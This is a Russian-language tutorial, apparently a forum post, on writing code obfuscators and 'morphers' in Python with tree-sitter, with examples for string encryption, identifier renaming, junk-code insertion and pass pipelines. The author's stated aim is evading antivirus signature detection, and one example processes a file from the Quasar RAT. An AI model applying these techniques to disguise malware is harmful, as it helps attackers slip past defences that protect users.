Для Петона есть готовые байндинги, но они предполагают, что вы их соберете у себя на компуктерах, а для этого нужно настраивать сишный тулчейн. Если он у вас есть и вы чувствуете, что хотите приключений, дерзайте. Сама библиотека тут: https://pypi.org/project/tree-sitter/ - а байндиги множества языков можно найти тут: https://pypi.org/project/tree-sitter-languages/ - судя по мануалу, собирается все достаточно просто, но… Страдать я не люблю, и для таких же, как я, есть готовая сборка обоих библиотек: https://pypi.org/project/tree-sitter-builds/ - она отстает от текущей версии и в ней нет всякой так горячо любимой мной маргинальщины, типа Дэ, Нима и всякого такого. Но зато она ставится одной командой «pip install tree- sitter-builds» и пошуршали делать свои морферы. В общем, выбор за вами, аргументом против установки бинарных пакетов часто бывает, что в них куда легче встроить малварь, но не то, чтобы мы с вами сами проверяли каждый скаченный пакет с интернетов даже в виде исходников, к тому же:

После того, как вы поставили петоновский байндинги для tree-sitter, просто берете мой модуль tree_rewriter.py и начинаем писать. В модуле всего два класса. Первый из них называется Rewriter. Это — базовый класс, от которого по моей задумке должен наследоваться класс, реализующий один алгоритм обфускации или морфинга. Класс абстрагирует для вас парсинг и обход AST-дерева по паттерну «Посетитель» (Visitor), то есть он сам найдет и рекурсивно посетит для вас все необходимые вам узлы, а вам останется только их подменить.

Вы создаете свой класс, наследуете его от Rewriter, в конструкторе вызываете родительский конструктор, передавая туда название языка, с которым вы будете работать. Далее, вызываете метод visit, который осуществит парсинг исходного кода, переданного в виде строки или в виде массива байт, а так же в динамике вызовет все методы посещения узлов, которые вы определите. Но об этом чуть позже.

Начнем мы рассматривать эту абстракцию с класса Dumper. У класса Rewriter есть метод dump, передав узел дерева в который вы в консоли увидите всю его структуру, включая все дочерние узлы. На мой вкус это — очень удобный способ исследовать структуру AST-дерева и выискивать то, что вам нужно. Но, когда вы только начинаете работать с AST-деревьями, бывает полезно просто вывести целиком дерево всего кода, который вы подаете на вход. Для этого я реализовал класс Dumper. Вам нужно создать объект этого класса, передав в конструктор название языка, который вы будете парсить. Затем при вызове метода visit в консоль будет выплюнуто AST-дерево целиком. Давайте посмотрим это на примере example1.py:

Python:Copy to clipboard

import tree_rewriter

test = {
    'c': '''
        int test(int a, int b, int c) {
            return a + b - c;
        }
    ''',
    
    'cpp': '''
        int test(int a, int b, int c) {
            return a + b - c;
        }
    ''',

    'c_sharp': '''
        int Test(int a, int b, int c) {
            return a + b - c;
        }
    ''',

    'go': '''
        func Test(a int, b int, c int) {
            return a + b - c
        }
    ''',

    'javascript': '''
        function test(a, b, c) {
            return a + b - c;
        }
    ''',

    'php': '''
        <?php
        function test($a, $b, $c) {
            return $a + $b - $c;
        }
    ''',

    'python': '''
        def test(a: int, b: int, c: int) -> int:
            return a + b - c
    ''',

    'rust': '''
        fn test(a: i32, b: i32, c: i32) -> i32 {
            return a + b - c;
        }
    '''
}

for language in test.keys():
    print("***", language.upper(), "***")
    dumper = tree_rewriter.Dumper(language)
    dumper.visit(test[language])
    print()

Здесь в качестве примера я создаю словарь из имен языков и маленьких фрагментов кода на этих языках, потом я в цикле обхожу словарь и с помощью класса Dumper вывожу AST-деревья фрагментов кода для каждого из языков. Полный список доступных из коробки языков можно посмотреть в библиотеке tree-sitter- languages, их довольно много, но всякую маргинальщину, которой там нет придется руками дособирать по мануалам. Вот так выглядит вывод первого примера:

Code:Copy to clipboard

> python example1.py
*** C ***
translation_unit b'int test(int a, int b, int c)...'
  function_definition b'int test(int a, int b, int c)...'
    primitive_type b'int'
    function_declarator b'test(int a, int b, int c)'
      identifier b'test'
      parameter_list b'(int a, int b, int c)'
        ( b'('
        parameter_declaration b'int a'
          primitive_type b'int'
          identifier b'a'
        , b','
        parameter_declaration b'int b'
          primitive_type b'int'
          identifier b'b'
        , b','
        parameter_declaration b'int c'
          primitive_type b'int'
          identifier b'c'
        ) b')'
    compound_statement b'{\n            return a + b - ...'
      { b'{'
      return_statement b'return a + b - c;'
        return b'return'
        binary_expression b'a + b - c'
          binary_expression b'a + b'
            identifier b'a'
            + b'+'
            identifier b'b'
          - b'-'
          identifier b'c'
        ; b';'
      } b'}'

*** CPP ***
translation_unit b'int test(int a, int b, int c)...'
  function_definition b'int test(int a, int b, int c)...'
    primitive_type b'int'
    function_declarator b'test(int a, int b, int c)'
      identifier b'test'
      parameter_list b'(int a, int b, int c)'
        ( b'('
        parameter_declaration b'int a'
          primitive_type b'int'
          identifier b'a'
        , b','
        parameter_declaration b'int b'
          primitive_type b'int'
          identifier b'b'
        , b','
        parameter_declaration b'int c'
          primitive_type b'int'
          identifier b'c'
        ) b')'
    compound_statement b'{\n            return a + b - ...'
      { b'{'
      return_statement b'return a + b - c;'
        return b'return'
        binary_expression b'a + b - c'
          binary_expression b'a + b'
            identifier b'a'
            + b'+'
            identifier b'b'
          - b'-'
          identifier b'c'
        ; b';'
      } b'}'

*** C_SHARP ***
compilation_unit b'int Test(int a, int b, int c)...'
  global_statement b'int Test(int a, int b, int c)...'
    local_function_statement b'int Test(int a, int b, int c)...'
      predefined_type b'int'
      identifier b'Test'
      parameter_list b'(int a, int b, int c)'
        ( b'('
        parameter b'int a'
          predefined_type b'int'
          identifier b'a'
        , b','
        parameter b'int b'
          predefined_type b'int'
          identifier b'b'
        , b','
        parameter b'int c'
          predefined_type b'int'
          identifier b'c'
        ) b')'
      block b'{\n            return a + b - ...'
        { b'{'
        return_statement b'return a + b - c;'
          return b'return'
          binary_expression b'a + b - c'
            binary_expression b'a + b'
              identifier b'a'
              + b'+'
              identifier b'b'
            - b'-'
            identifier b'c'
          ; b';'
        } b'}'

*** GO ***
source_file b'func Test(a int, b int, c int...'
  function_declaration b'func Test(a int, b int, c int...'
    func b'func'
    identifier b'Test'
    parameter_list b'(a int, b int, c int)'
      ( b'('
      parameter_declaration b'a int'
        identifier b'a'
        type_identifier b'int'
      , b','
      parameter_declaration b'b int'
        identifier b'b'
        type_identifier b'int'
      , b','
      parameter_declaration b'c int'
        identifier b'c'
        type_identifier b'int'
      ) b')'
    block b'{\n            return a + b - ...'
      { b'{'
      return_statement b'return a + b - c'
        return b'return'
        expression_list b'a + b - c'
          binary_expression b'a + b - c'
            binary_expression b'a + b'
              identifier b'a'
              + b'+'
              identifier b'b'
            - b'-'
            identifier b'c'
      
 b'\n'
      } b'}'
 
 b'\n'

*** JAVASCRIPT ***
program b'function test(a, b, c) {\n    ...'
  function_declaration b'function test(a, b, c) {\n    ...'
    function b'function'
    identifier b'test'
    formal_parameters b'(a, b, c)'
      ( b'('
      identifier b'a'
      , b','
      identifier b'b'
      , b','
      identifier b'c'
      ) b')'
    statement_block b'{\n            return a + b - ...'
      { b'{'
      return_statement b'return a + b - c;'
        return b'return'
        binary_expression b'a + b - c'
          binary_expression b'a + b'
            identifier b'a'
            + b'+'
            identifier b'b'
          - b'-'
          identifier b'c'
        ; b';'
      } b'}'

*** PHP ***
program b'<?php\n        function test($...'
  php_tag b'<?php'
  function_definition b'function test($a, $b, $c) {\n ...'
    function b'function'
    name b'test'
    formal_parameters b'($a, $b, $c)'
      ( b'('
      simple_parameter b'$a'
        variable_name b'$a'
          $ b'$'
          name b'a'
      , b','
      simple_parameter b'$b'
        variable_name b'$b'
          $ b'$'
          name b'b'
      , b','
      simple_parameter b'$c'
        variable_name b'$c'
          $ b'$'
          name b'c'
      ) b')'
    compound_statement b'{\n            return $a + $b ...'
      { b'{'
      return_statement b'return $a + $b - $c;'
        return b'return'
        binary_expression b'$a + $b - $c'
          binary_expression b'$a + $b'
            variable_name b'$a'
              $ b'$'
              name b'a'
            + b'+'
            variable_name b'$b'
              $ b'$'
              name b'b'
          - b'-'
          variable_name b'$c'
            $ b'$'
            name b'c'
        ; b';'
      } b'}'

*** PYTHON ***
module b'def test(a: int, b: int, c: i...'
  function_definition b'def test(a: int, b: int, c: i...'
    def b'def'
    identifier b'test'
    parameters b'(a: int, b: int, c: int)'
      ( b'('
      typed_parameter b'a: int'
        identifier b'a'
        : b':'
        type b'int'
          identifier b'int'
      , b','
      typed_parameter b'b: int'
        identifier b'b'
        : b':'
        type b'int'
          identifier b'int'
      , b','
      typed_parameter b'c: int'
        identifier b'c'
        : b':'
        type b'int'
          identifier b'int'
      ) b')'
    -> b'->'
    type b'int'
      identifier b'int'
    : b':'
    block b'return a + b - c'
      return_statement b'return a + b - c'
        return b'return'
        binary_operator b'a + b - c'
          binary_operator b'a + b'
            identifier b'a'
            + b'+'
            identifier b'b'
          - b'-'
          identifier b'c'

*** RUST ***
source_file b'fn test(a: i32, b: i32, c: i3...'
  function_item b'fn test(a: i32, b: i32, c: i3...'
    fn b'fn'
    identifier b'test'
    parameters b'(a: i32, b: i32, c: i32)'
      ( b'('
      parameter b'a: i32'
        identifier b'a'
        : b':'
        primitive_type b'i32'
      , b','
      parameter b'b: i32'
        identifier b'b'
        : b':'
        primitive_type b'i32'
      , b','
      parameter b'c: i32'
        identifier b'c'
        : b':'
        primitive_type b'i32'
      ) b')'
    -> b'->'
    primitive_type b'i32'
    block b'{\n            return a + b - ...'
      { b'{'
      expression_statement b'return a + b - c;'
        return_expression b'return a + b - c'
          return b'return'
          binary_expression b'a + b - c'
            binary_expression b'a + b'
              identifier b'a'
              + b'+'
              identifier b'b'
            - b'-'
            identifier b'c'
        ; b';'
      } b'}'

Структура дерева сначала выглядит очень страшно, но к этому быстро привыкаешь, ведь это не так сложно, как кажется. Вложенность (зависимости родитель- потомки) узлов дерева показана уровнем индентации (количеством пробелов) с начала строки. После пробелов идет тип узла дерева, а за типом небольшой фрагмент исходного кода, который соответствует этому узлу. Обратите внимание, что чтобы избежать слишком длинных строк, я обрезаю этот фрагмент до 32 символов, если фрагмент был обрезан, то он заканчивается на «...», что логично, наверное.

Изучив структуру AST-дерева вы можете понять, какие его узлы вас будут интересовать для реализации того, или иного алгоритма обфускации или морфинга. Чтобы произвести какую-то работу над определенным узлом вам нужно определить в своем классе метод «visit_<тип_узла>». Базовый класс при посещении узлов увидит ваши методы и вызовет их для узлов необходимого типа. Это реализуется через рефлекшн над атрибутами класса (такое страшное метапрограммирование, ууу), но не суть важно. Давайте рассмотрим простой пример (example2.py):

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class Inserter(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("c")

    def visit_return_statement(self, node: tree_sitter.Node):
        self.insert_before(node, "/* BEFORE RETURN */")
        self.insert_after(node, "/* AFTER RETURN */")
        return False

class Replacer(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("c")

    def visit_return_statement(self, node: tree_sitter.Node):
        self.replace_node(node, "return 0;")
        return False


src = '''
void main(int argc, char** argv) {
    return 100;
}
'''

inserter = Inserter()
replacer = Replacer()
print(inserter.visit(src))
print(replacer.visit(src))

В этом примере я объявил два класса, которые показывают, как происходит замена узлов на произвольный код (Replacer) и вставка произвольного кода до и после узла (Inserter). По сути, этих трех примитивных действий над кодом достаточно, чтобы реализовать достаточно сложные алгоритмы обфускации. И там, и там я определил метод «visit_return_statement», который автоматически вызывается, когда базовый класс встречает в дереве узел типа «return_statement», то есть выражение return. Методы с говорящими названиями заменяют узел (replace_node), вставляют код до узла (insert_before) или после узла (insert_after). Давайте посмотрим, что выходит из этого в результате:

Code:Copy to clipboard

> python example2.py

void main(int argc, char** argv) {
    /* BEFORE RETURN */return 100;/* AFTER RETURN */
}


void main(int argc, char** argv) {
    return 0;
}

Важно понимать, что tree-sitter — это библиотека, предназначенная исключительно для быстрого парсинга, трансформировать AST-дерево обратно в код она не умеет. Поэтому Rewriter запоминает все правки исходного кода, а затем после посещения всех узлов сортирует и применяет правки к исходному коду. Это простой и быстрый алгоритм, использовать что-то заумнее для tree-sitter’а для меня не представляется возможным и необходимым. У такого подхода есть один недостаток, если вы подменяете какой-то узел, то добавлять правки для дочерних для него узлов не имеет никакого смысла, вы просто останетесь с поломанным кодом в результате. Поэтому, я рекомендую разбить обфускатор на небольшие алгоритмы, которые применяются отдельно друг от друга, но друг за другом. Это мы рассмотрим чуть позднее.

А теперь, давайте приступать к рассмотрению типичных для обфускаторов и морферов алгоритмов трансформации AST-деревьев. Самая простая и очевидная вещь, которую мы могли бы сделать, это — зашифровать строки. Очень часто сигнатурный детект аверов использует константные строки. В примерах я буду показывать, как осуществлять трансформацию кода, а сами алгоритмы обфускации я предлагаю придумать вам самим. Рассмотрим example3.py:

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class StringEncryptor(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("python")

    def visit_string(self, node: tree_sitter.Node):
        encrypted = "decryptString(/* encrypted string here */)"
        self.replace_node(node, encrypted)
        return False

src = '''
def doSomeShit():
    string = "I'm a string, bitches!"
    doSomeShitWithString("Some other string")
    return "Gonna return another string"
'''

print(StringEncryptor().visit(src))

Здесь я реализовал класс StringEncryptor, который заменяет константные строки, которые на языке разработчиков языков программирования часто называют строковыми литералами, но в грамматике Петона их назвали просто «string». Строковые литералы мы зашифровываем и заменяем на вызов функции расшифровки. Это, можно сказать, классика. Не то чтобы нетленная, но не важно. Опять же сам алгоритм шифрования и реализация функции «decryptString» остается за вами:

Code:Copy to clipboard

> python example3.py

def doSomeShit():
    string = decryptString(/* encrypted string here */)
    doSomeShitWithString(decryptString(/* encrypted string here */))
    return decryptString(/* encrypted string here */)

Выглядит все очень просто, но есть нюанс. Дело в том, что являясь библиотекой для парсинга грамматика tree-sitter часто не позволяет получить непосредственное значение строкового литерала, чтобы его можно было удобно и просто зашифровать. Что я имею ввиду? Как насчет ескейп символов в строке? У узла есть свойство text, которое возвращает строку так, как она была написана в исходнике, а не так, как ее понимает язык программирования. Давайте посмотрим на примере example4:

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class StringEncryptor(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("javascript")

    def visit_string(self, node: tree_sitter.Node):
        print("unescape:\n", self.unescape(node.text[1:-1]))
        print("my_unescape:\n", self.my_unescape(node))
        
        encrypted = "decryptString(/* encrypted string */)"
        self.replace_node(node, encrypted)
        return False
    
    def my_unescape(self, node: tree_sitter.Node) -> str:
        result = ''
        for i in range(1, len(node.children) - 1):
            child = node.children[i]
            if child.type == "string_fragment":
                result += child.text.decode()
            elif child.type == "escape_sequence":
                if child.text == b'\\n': result += '\n'
                elif child.text == b'\\t': result += '\t'
                elif child.text.startswith(b'\\x'):
                    byte = child.text[2:4].decode()
                    result += chr(int(byte, 16))
                elif child.text.startswith(b"\\u"):
                    word = child.text[2:6].decode()
                    result += chr(int(word, 16))
                
        return result

src = '''
function doSomeShit() {
    return "Escaped as fuck, bro: \\n\\t\\x61\\x62\\x63\\x64\\u0410\\u0411\\u0412\\u0413 yo!";
}
'''

#tree_rewriter.Dumper("javascript").visit(src)
print(StringEncryptor().visit(src))

Обратите внимание, что в строке есть разного рода ескейп символы. Разбор строки для каждого языка по хорошему должен быть свой, однако для вас я заботливо реализовал метод escape, который корректно отработает для многих языков программирования, поскольку много где эти эскеп последовательности описываются примерно одинаково. Что делать, если метод escape не тащит нужные вам эскейп символы? Я сделал пример для языка JavaScript в виде метода my_escape. Парсер языка JavaScript разбирает строку, преобразуя ее в последовательность узлов типа string_fragment (фрагмент строки) и escape_sequence (эскейп символ или символы), разбирая эту структуру можно руками составить строку (см. AST-дерево этого кода):

Code:Copy to clipboard

> python example4.py
unescape:
 Escaped as fuck, bro:
        abcdАБВГ yo!
my_unescape:
 Escaped as fuck, bro:
        abcdАБВГ yo!

function doSomeShit() {
    return decryptString(/* encrypted string */);
}

Дальше чуть больше. Языки со сборщиками мусора и с нормальной реализацией строк — это, конечно, хорошо, но что делать с Цэ и Плюсами. Там же нет сборщика мусора, который подчистит за нами расшифрованную строку. За годы изучения разных обфускаторов и морферов я видел разные подходы. Кто-то просто высирал расшифрованные строки на кучу процесса и никогда не освобождал выделенную таким образом память. Кто-то делал глобальные буферы в секции данных исполняемого файла. Но, наверное, наиболее простым и понятным способом (на мой взгляд) является просто выделить буфер на стеке, но для этого тоже потребуется немножно поработать, смотрим example5:

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class StringEncryptor(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("cpp")
        self._counter = 0

    def visit_string_literal(self, node: tree_sitter.Node):       
        string = node.text.decode()
        is_unicode = string.startswith('L')
        
        if is_unicode:
            string = self.unescape(string[2:-1])
        else: string = self.unescape(string[1:-1])

        self._counter += 1

        type_name = 'WCHAR' if is_unicode else 'CHAR'
        buffer_name = "__buf_{0}".format(self._counter)
        buffer_len = len(string) + 1

        insert_point = self.find_parent(node, "compound_statement")
        insert_point = insert_point.children[1]

        decrypt_name = 'DecryptStringW' if is_unicode else 'DecryptStringA'
        insert  = '{0} {1}[{2}];\n'.format(type_name, buffer_name, buffer_len)
        insert += '{0}({1}, /* encrypted */, {2});\n'.format(decrypt_name, buffer_name, buffer_len)

        self.insert_before(insert_point, insert)
        self.replace_node(node, buffer_name)
        return False

src = '''
#include <windows.h>

int main(int argc, char** argv) {
    MessageBoxA(NULL, "Hello World!", NULL, MB_OK);
    MessageBoxW(NULL, L"Hello World!", NULL, MB_OK);
    return 0;
}
'''

#tree_rewriter.Dumper("cpp").visit(src)
print(StringEncryptor().visit(src))

Чтобы определить, куда нам нужно вставить код с выделением буфера на стеке и расшифровки строки, нам нужно найти ближайшего к строковому литералу родителя типа compound_statement (это, условно, блок кода, находящегося между фигурными скобками). Для этого у нас есть метод find_parent. Если у узла нет родителя нужного типа, то метод вернет None, при желании можно сделать проверку на это, а можно и просто упасть в эксепшн. Затем у этого родителя нам нужно взять потомка с индексом 1, так как индекс 0 — это сама фигурная скобка, и вставить перед ним определение буфера и вызов кода для расшифровки строки, а сам строковый литерал мы можем заменить на имя переменной буфера:

Code:Copy to clipboard

> python example5.py

#include <windows.h>

int main(int argc, char** argv) {
    CHAR __buf_1[13];
DecryptStringA(__buf_1, /* encrypted */, 13);
WCHAR __buf_2[13];
DecryptStringW(__buf_2, /* encrypted */, 13);
MessageBoxA(NULL, __buf_1, NULL, MB_OK);
    MessageBoxW(NULL, __buf_2, NULL, MB_OK);
    return 0;
}

Пока я умолчал о ряде других проблем с шифрованием строк в Цэ и Плюсах, но этот код в принципе показывает также, как отличить ANSI-строку от юникода, как получить размер для буфера на стеке и так далее. Элитные разберутся, а мы с вами переходим к следующему примеру. В скриптовых языках при обфускации не забывают о переименовании идентификаторов, чтобы товарищу реверсеру не было так легко жить. Я думаю, что причины этого ясны, давайте рассмотрим example6:

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class RenameIdentifiers(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("php")

    def visit_name(self, node: tree_sitter.Node):
        old_name = node.text.decode()
        new_name = "new_name_for_{0}".format(old_name)
        self.replace_node(node, new_name)

        return False

src = '''
<?php
function function1($a, $b) {
    return $a + $b;
}

function function2($b, $c) {
    return $b - $c;
}
'''

#tree_rewriter.Dumper("php").visit(src)
print(RenameIdentifiers().visit(src))

Здесь для каждого идентификатора (узла name в PHP-парсере) я генерирую демонстративно другое имя. Алгоритмы генерации имен, как минимальных, так и нечитаемых, так и по словарю не являются рокет-саенсом и давно уже есть на гитхабах. Посмотрим, что мы в итоге получили:

Code:Copy to clipboard

> python example6.py

<?php
function new_name_for_function1($new_name_for_a, $new_name_for_b) {
    return $new_name_for_a + $new_name_for_b;
}

function new_name_for_function2($new_name_for_b, $new_name_for_c) {
    return $new_name_for_b - $new_name_for_c;
}

В следующем примере я взял один файл из исходников ратника Quasar, чтобы показать на примере, как можно разбавлять исходные коды мусорными кодами. Мы просто берем все блоки кода и перед всеми их детишками (кроме комментов) вставляем сгенерированный мусорный код. Ну в моем случае это — просто комментарий, опять же реализацию алгоритма генерации мусорного кода я оставляю за вами:

Python:Copy to clipboard

import tree_rewriter
import tree_sitter

class TrashGenerator(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("c_sharp")

    def visit_block(self, node: tree_sitter.Node):
        for i in range(1, len(node.children) - 1):
            if node.children[i].type == "comment": continue
            self.insert_before(node.children[i], self.generate_trash())

    def generate_trash(self):
        return "/* trash code here */ "

src = '''
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Quasar.Common.Cryptography
{
    public class Aes256
    {
        private const int KeyLength = 32;
        private const int AuthKeyLength = 64;
        private const int IvLength = 16;
        private const int HmacSha256Length = 32;
        private readonly byte[] _key;
        private readonly byte[] _authKey;

        private static readonly byte[] Salt =
        {
            0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56,
            0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
        };

        public Aes256(string masterKey)
        {
            if (string.IsNullOrEmpty(masterKey))
                throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");

            using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
            {
                _key = derive.GetBytes(KeyLength);
                _authKey = derive.GetBytes(AuthKeyLength);
            }
        }

        public string Encrypt(string input)
        {
            return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
        }

        /* FORMAT
         * ----------------------------------------
         * |     HMAC     |   IV   |  CIPHERTEXT  |
         * ----------------------------------------
         *     32 bytes    16 bytes
         */
        public byte[] Encrypt(byte[] input)
        {
            if (input == null)
                throw new ArgumentNullException($"{nameof(input)} can not be null.");

            using (var ms = new MemoryStream())
            {
                ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
                using (var aesProvider = new AesCryptoServiceProvider())
                {
                    aesProvider.KeySize = 256;
                    aesProvider.BlockSize = 128;
                    aesProvider.Mode = CipherMode.CBC;
                    aesProvider.Padding = PaddingMode.PKCS7;
                    aesProvider.Key = _key;
                    aesProvider.GenerateIV();

                    using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
                        cs.Write(input, 0, input.Length);
                        cs.FlushFinalBlock();

                        using (var hmac = new HMACSHA256(_authKey))
                        {
                            byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
                            ms.Position = 0; // write hash at beginning
                            ms.Write(hash, 0, hash.Length);
                        }
                    }
                }

                return ms.ToArray();
            }
        }

        public string Decrypt(string input)
        {
            return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
        }

        public byte[] Decrypt(byte[] input)
        {
            if (input == null)
                throw new ArgumentNullException($"{nameof(input)} can not be null.");

            using (var ms = new MemoryStream(input))
            {
                using (var aesProvider = new AesCryptoServiceProvider())
                {
                    aesProvider.KeySize = 256;
                    aesProvider.BlockSize = 128;
                    aesProvider.Mode = CipherMode.CBC;
                    aesProvider.Padding = PaddingMode.PKCS7;
                    aesProvider.Key = _key;

                    // read first 32 bytes for HMAC
                    using (var hmac = new HMACSHA256(_authKey))
                    {
                        var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
                        byte[] receivedHash = new byte[HmacSha256Length];
                        ms.Read(receivedHash, 0, receivedHash.Length);

                        if (!SafeComparison.AreEqual(hash, receivedHash))
                            throw new CryptographicException("Invalid message authentication code (MAC).");
                    }

                    byte[] iv = new byte[IvLength];
                    ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
                    aesProvider.IV = iv;

                    using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        byte[] temp = new byte[ms.Length - IvLength + 1];
                        byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
                        Buffer.BlockCopy(temp, 0, data, 0, data.Length);
                        return data;
                    }
                }
            }
        }
    }
}
'''

#tree_rewriter.Dumper("c_sharp").visit(src)
print(TrashGenerator().visit(src))

Code:Copy to clipboard

> python example7.py

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Quasar.Common.Cryptography
{
    public class Aes256
    {
        private const int KeyLength = 32;
        private const int AuthKeyLength = 64;
        private const int IvLength = 16;
        private const int HmacSha256Length = 32;
        private readonly byte[] _key;
        private readonly byte[] _authKey;

        private static readonly byte[] Salt =
        {
            0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56,
            0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
        };

        public Aes256(string masterKey)
        {
            /* trash code here */ if (string.IsNullOrEmpty(masterKey))
                throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");

            /* trash code here */ using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
            {
                /* trash code here */ _key = derive.GetBytes(KeyLength);
                /* trash code here */ _authKey = derive.GetBytes(AuthKeyLength);
            }
        }

        public string Encrypt(string input)
        {
            /* trash code here */ return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
        }

        /* FORMAT
         * ----------------------------------------
         * |     HMAC     |   IV   |  CIPHERTEXT  |
         * ----------------------------------------
         *     32 bytes    16 bytes
         */
        public byte[] Encrypt(byte[] input)
        {
            /* trash code here */ if (input == null)
                throw new ArgumentNullException($"{nameof(input)} can not be null.");

            /* trash code here */ using (var ms = new MemoryStream())
            {
                /* trash code here */ ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
                /* trash code here */ using (var aesProvider = new AesCryptoServiceProvider())
                {
                    /* trash code here */ aesProvider.KeySize = 256;
                    /* trash code here */ aesProvider.BlockSize = 128;
                    /* trash code here */ aesProvider.Mode = CipherMode.CBC;
                    /* trash code here */ aesProvider.Padding = PaddingMode.PKCS7;
                    /* trash code here */ aesProvider.Key = _key;
                    /* trash code here */ aesProvider.GenerateIV();

                    /* trash code here */ using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        /* trash code here */ ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
                        /* trash code here */ cs.Write(input, 0, input.Length);
                        /* trash code here */ cs.FlushFinalBlock();

                        /* trash code here */ using (var hmac = new HMACSHA256(_authKey))
                        {
                            /* trash code here */ byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
                            /* trash code here */ ms.Position = 0; // write hash at beginning
                            /* trash code here */ ms.Write(hash, 0, hash.Length);
                        }
                    }
                }

                /* trash code here */ return ms.ToArray();
            }
        }

        public string Decrypt(string input)
        {
            /* trash code here */ return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
        }

        public byte[] Decrypt(byte[] input)
        {
            /* trash code here */ if (input == null)
                throw new ArgumentNullException($"{nameof(input)} can not be null.");

            /* trash code here */ using (var ms = new MemoryStream(input))
            {
                /* trash code here */ using (var aesProvider = new AesCryptoServiceProvider())
                {
                    /* trash code here */ aesProvider.KeySize = 256;
                    /* trash code here */ aesProvider.BlockSize = 128;
                    /* trash code here */ aesProvider.Mode = CipherMode.CBC;
                    /* trash code here */ aesProvider.Padding = PaddingMode.PKCS7;
                    /* trash code here */ aesProvider.Key = _key;

                    // read first 32 bytes for HMAC
                    /* trash code here */ using (var hmac = new HMACSHA256(_authKey))
                    {
                        /* trash code here */ var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
                        /* trash code here */ byte[] receivedHash = new byte[HmacSha256Length];
                        /* trash code here */ ms.Read(receivedHash, 0, receivedHash.Length);

                        /* trash code here */ if (!SafeComparison.AreEqual(hash, receivedHash))
                            throw new CryptographicException("Invalid message authentication code (MAC).");
                    }

                    /* trash code here */ byte[] iv = new byte[IvLength];
                    /* trash code here */ ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
                    /* trash code here */ aesProvider.IV = iv;

                    /* trash code here */ using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        /* trash code here */ byte[] temp = new byte[ms.Length - IvLength + 1];
                        /* trash code here */ byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
                        /* trash code here */ Buffer.BlockCopy(temp, 0, data, 0, data.Length);
                        /* trash code here */ return data;
                    }
                }
            }
        }
    }
}

Ну и в качестве заключения я расскажу, как мне кажется самым адекватным организовывать архитектуру проектов обфускаторов и морферов. Разделите весь процесс трансформации кода на небольшие проходы, каждый из которых трансформирует код по своему алгоритму. Затем соберите все реализованные алгоритмы в список и примените их друг за другом. Таким образом, например, просто закомментировав алгоритм в списке вы можете его отключить, это становится очень удобным для отладки проблем, когда ваш алгоритм морфинга что- то поломает в исходном коде. Такие ситуации случаются, поверьте мне. Смотрим example8.py:

Python:Copy to clipboard

import tree_rewriter

class StringEncryption(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("language")

    # implementation here

class ControlFlowFlattening(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("language")

    # implementation here

class TrashGeneration(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("language")

    # implementation here
    
class NamesRenaming(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("language")

    # implementation here

class SomeOtherPass1(tree_rewriter.Rewriter):
    def __init__(self):
        super().__init__("language")

    # implementation here

class SomeOtherPass2(tree_rewriter.Rewriter):
